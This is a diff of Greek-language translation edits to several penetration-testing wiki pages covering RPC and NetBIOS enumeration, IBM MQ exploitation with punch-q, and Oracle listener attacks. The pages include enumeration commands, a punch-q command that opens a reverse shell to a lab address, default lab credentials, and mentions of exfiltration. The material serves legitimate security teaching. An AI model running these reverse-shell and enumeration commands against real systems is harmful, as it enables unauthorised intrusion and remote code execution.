Η έκθεση υπηρεσιών RPC μέσω TCP, UDP, HTTP και SMB μπορεί να προσδιοριστεί με την ερώτηση της υπηρεσίας εντοπισμού RPC και των μεμονωμένων σημείων. Εργαλεία όπως το rpcdump διευκολύνουν την αναγνώριση μοναδικών υπηρεσιών RPC, που υποδεικνύονται από τις τιμές **IFID**, αποκαλύπτοντας λεπτομέρειες υπηρεσίας και δεσμεύσεις επικοινωνίας:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
@ -46,7 +46,7 @@ rpcdump.py <IP> -p 135
|
||||
- **Περιγραφή**: Διεπαφή Υπηρεσιών Καταλόγου LSA (DS), χρησιμοποιείται για την καταμέτρηση τομέων και σχέσεων εμπιστοσύνης.
|
||||
- **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
- **Named Pipe**: `\pipe\samr`
|
||||
- **Περιγραφή**: Διεπαφή LSA SAMR, χρησιμοποιείται για την πρόσβαση σε δημόσια στοιχεία βάσης δεδομένων SAM (π.χ., ονόματα χρηστών) και για την παραβίαση κωδικών πρόσβασης χρηστών ανεξαρτήτως πολιτικής κλειδώματος λογαριασμού.
|
||||
- **Περιγραφή**: Διεπαφή LSA SAMR, χρησιμοποιείται για την πρόσβαση σε δημόσια στοιχεία της βάσης δεδομένων SAM (π.χ., ονόματα χρηστών) και για την παραβίαση κωδικών πρόσβασης χρηστών ανεξαρτήτως πολιτικής κλειδώματος λογαριασμού.
|
||||
- **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
- **Named Pipe**: `\pipe\atsvc`
|
||||
- **Περιγραφή**: Προγραμματιστής εργασιών, χρησιμοποιείται για την απομακρυσμένη εκτέλεση εντολών.
|
||||
@ -55,10 +55,10 @@ rpcdump.py <IP> -p 135
|
||||
- **Περιγραφή**: Υπηρεσία απομακρυσμένου μητρώου, χρησιμοποιείται για την πρόσβαση και τροποποίηση του μητρώου συστήματος.
|
||||
- **IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
- **Named Pipe**: `\pipe\svcctl`
|
||||
- **Περιγραφή**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιείται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
|
||||
- **Περιγραφή**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιούνται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
|
||||
- **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
- **Named Pipe**: `\pipe\srvsvc`
|
||||
- **Περιγραφή**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιείται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
|
||||
- **Περιγραφή**: Διαχειριστής ελέγχου υπηρεσιών και υπηρεσίες διακομιστή, χρησιμοποιούνται για την απομακρυσμένη εκκίνηση και διακοπή υπηρεσιών και την εκτέλεση εντολών.
|
||||
- **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
- **Named Pipe**: `\pipe\epmapper`
|
||||
- **Περιγραφή**: Διεπαφή DCOM, χρησιμοποιείται για την παραβίαση κωδικών πρόσβασης και τη συλλογή πληροφοριών μέσω WM.
|
||||
|
||||
@ -14,12 +14,12 @@
|
||||
|
||||
### Name Service
|
||||
|
||||
Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Name Query". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή υπηρεσίας ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC.
|
||||
Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας broadcast** όπου αποστέλλεται ένα πακέτο "Name Query". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή υπηρεσίας ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)
|
||||
```
|
||||
Με την καταμέτρηση μιας υπηρεσίας NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή.
|
||||
Καταμετρώντας μια υπηρεσία NetBIOS μπορείτε να αποκτήσετε τα ονόματα που χρησιμοποιεί ο διακομιστής και τη διεύθυνση MAC του διακομιστή.
|
||||
```bash
|
||||
nmblookup -A <IP>
|
||||
nbtscan <IP>/30
|
||||
@ -27,18 +27,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Υπηρεσία Κατανομής Datagram
|
||||
|
||||
Τα datagrams NetBIOS επιτρέπουν τη σύνδεση χωρίς επικοινωνία μέσω UDP, υποστηρίζοντας άμεσες μηνύματα ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**.
|
||||
Τα datagrams NetBIOS επιτρέπουν την επικοινωνία χωρίς σύνδεση μέσω UDP, υποστηρίζοντας άμεσες μηνύματα ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Session Service
|
||||
### Υπηρεσία Συνεδρίας
|
||||
|
||||
Για τις συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων.
|
||||
Για συνδεδεμένες αλληλεπιδράσεις, η **Υπηρεσία Συνεδρίας** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Αίτημα Συνεδρίας" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων.
|
||||
|
||||
Η μετάδοση δεδομένων μέσα σε μια συνεδρία περιλαμβάνει **Session Message packets**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP.
|
||||
Η μετάδοση δεδομένων εντός μιας συνεδρίας περιλαμβάνει τα **πακέτα Μηνυμάτων Συνεδρίας**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP.
|
||||
|
||||
Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες τους [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol).
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
|
||||
@ -6,11 +6,11 @@
|
||||
|
||||
IBM MQ είναι μια τεχνολογία της IBM για τη διαχείριση ουρών μηνυμάτων. Όπως άλλες τεχνολογίες **message broker**, είναι αφιερωμένη στη λήψη, αποθήκευση, επεξεργασία και ταξινόμηση πληροφοριών μεταξύ παραγωγών και καταναλωτών.
|
||||
|
||||
Από προεπιλογή, **εκθέτει την TCP θύρα 1414 του IBM MQ**.
|
||||
Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στην θύρα **9443**.
|
||||
Από προεπιλογή, **εκθέτει την IBM MQ TCP θύρα 1414**.
|
||||
Μερικές φορές, το HTTP REST API μπορεί να εκτεθεί στη θύρα **9443**.
|
||||
Οι μετρήσεις (Prometheus) μπορούν επίσης να προσπελαστούν από την TCP θύρα **9157**.
|
||||
|
||||
Η TCP θύρα 1414 του IBM MQ μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την instance**.
|
||||
Η IBM MQ TCP θύρα 1414 μπορεί να χρησιμοποιηθεί για να χειριστεί μηνύματα, ουρές, κανάλια, ... αλλά **και για να ελέγξει την instance**.
|
||||
|
||||
Η IBM παρέχει εκτενή τεχνική τεκμηρίωση διαθέσιμη στο [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||||
|
||||
@ -145,7 +145,7 @@ Showing channels with prefix: "*"...
|
||||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||||
```
|
||||
### Queues
|
||||
### Ουρές
|
||||
|
||||
Υπάρχει ένα απόσπασμα κώδικα με **pymqi** (`dis_queues.py`) αλλά το **punch-q** επιτρέπει την ανάκτηση περισσότερων πληροφοριών σχετικά με τις ουρές:
|
||||
```bash
|
||||
@ -226,7 +226,7 @@ Giving the service 0 second(s) to live...
|
||||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Να είστε προσεκτικοί ότι η εκκίνηση του προγράμματος είναι ασύγχρονη. Έτσι, χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια** **_(listener for reverse shell, file creation on different service, data exfiltration through network ...)_**
|
||||
**Να είστε προσεκτικοί ότι η εκκίνηση του προγράμματος είναι ασύγχρονη. Έτσι, χρειάζεστε ένα δεύτερο στοιχείο για να εκμεταλλευτείτε την ευπάθεια** **_(listener για reverse shell, δημιουργία αρχείου σε διαφορετική υπηρεσία, εξαγωγή δεδομένων μέσω δικτύου ...)_**
|
||||
|
||||
**Παράδειγμα 2**
|
||||
|
||||
@ -241,7 +241,7 @@ _Φυσικά μπορείτε να δημιουργήσετε ένα προσα
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
Για perl:
|
||||
Για το perl:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
@ -279,7 +279,7 @@ qmgr.disconnect()
|
||||
```
|
||||
Αν δεν μπορείτε να βρείτε τα ονόματα σταθερών, μπορείτε να ανατρέξετε στην [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
|
||||
> _Παράδειγμα για [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Δεκαδικό = 73). Χρειάζεται την παράμετρο `MQCA_CLUSTER_NAME` (Δεκαδικό = 2029) που μπορεί να είναι `_` (Έγγραφο: ):\*
|
||||
> _Παράδειγμα για [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Δεκαδικό = 73). Χρειάζεται την παράμετρο `MQCA_CLUSTER_NAME` (Δεκαδικό = 2029) η οποία μπορεί να είναι `_` (Έγγραφο: ):\*
|
||||
>
|
||||
> ```python
|
||||
> import pymqi
|
||||
@ -316,7 +316,8 @@ qmgr.disconnect()
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
```
|
||||
Από προεπιλογή, η αυθεντικοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι `admin` και ο κωδικός πρόσβασης είναι `passw0rd` (Μεταβλητή περιβάλλοντος `MQ_ADMIN_PASSWORD`). Εδώ, το όνομα του διαχειριστή ουρών έχει οριστεί σε `MYQUEUEMGR` (μεταβλητή `MQ_QMGR_NAME`).
|
||||
Από προεπιλογή, η αυθεντικοποίηση είναι ενεργοποιημένη, το όνομα χρήστη είναι `admin` και ο κωδικός πρόσβασης είναι `passw0rd` (Μεταβλητή περιβάλλοντος `MQ_ADMIN_PASSWORD`).
|
||||
Εδώ, το όνομα του διαχειριστή ουρών έχει οριστεί σε `MYQUEUEMGR` (μεταβλητή `MQ_QMGR_NAME`).
|
||||
|
||||
Πρέπει να έχετε το IBM MQ σε λειτουργία με τις θύρες του εκτεθειμένες:
|
||||
```bash
|
||||
@ -328,6 +329,6 @@ CONTAINER ID IMAGE COMMAND CRE
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [mgeeky's gist - "Πρακτικές σημειώσεις για την Διείσδυση στο IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [mgeeky's gist - "Πρακτικές σημειώσεις διείσδυσης IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
- [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
- [Τεκμηρίωση IBM MQ](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Η βάση δεδομένων Oracle (Oracle DB) είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων (RDBMS) από την Oracle Corporation (από [εδώ](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
@ -13,13 +13,13 @@
|
||||
```
|
||||
## Περίληψη
|
||||
|
||||
1. **Έκδοση Αρίθμηση**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
|
||||
1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες.
|
||||
2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο να καθιερωθεί η επικοινωνία.
|
||||
3. **Έκδοση SID Name/Bruteforce**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID).
|
||||
3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID).
|
||||
4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID.
|
||||
5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα.
|
||||
|
||||
Για να χρησιμοποιήσετε τα MSF oracle modules, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
Για να χρησιμοποιήσετε τα modules MSF oracle, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Δημοσιεύσεις
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user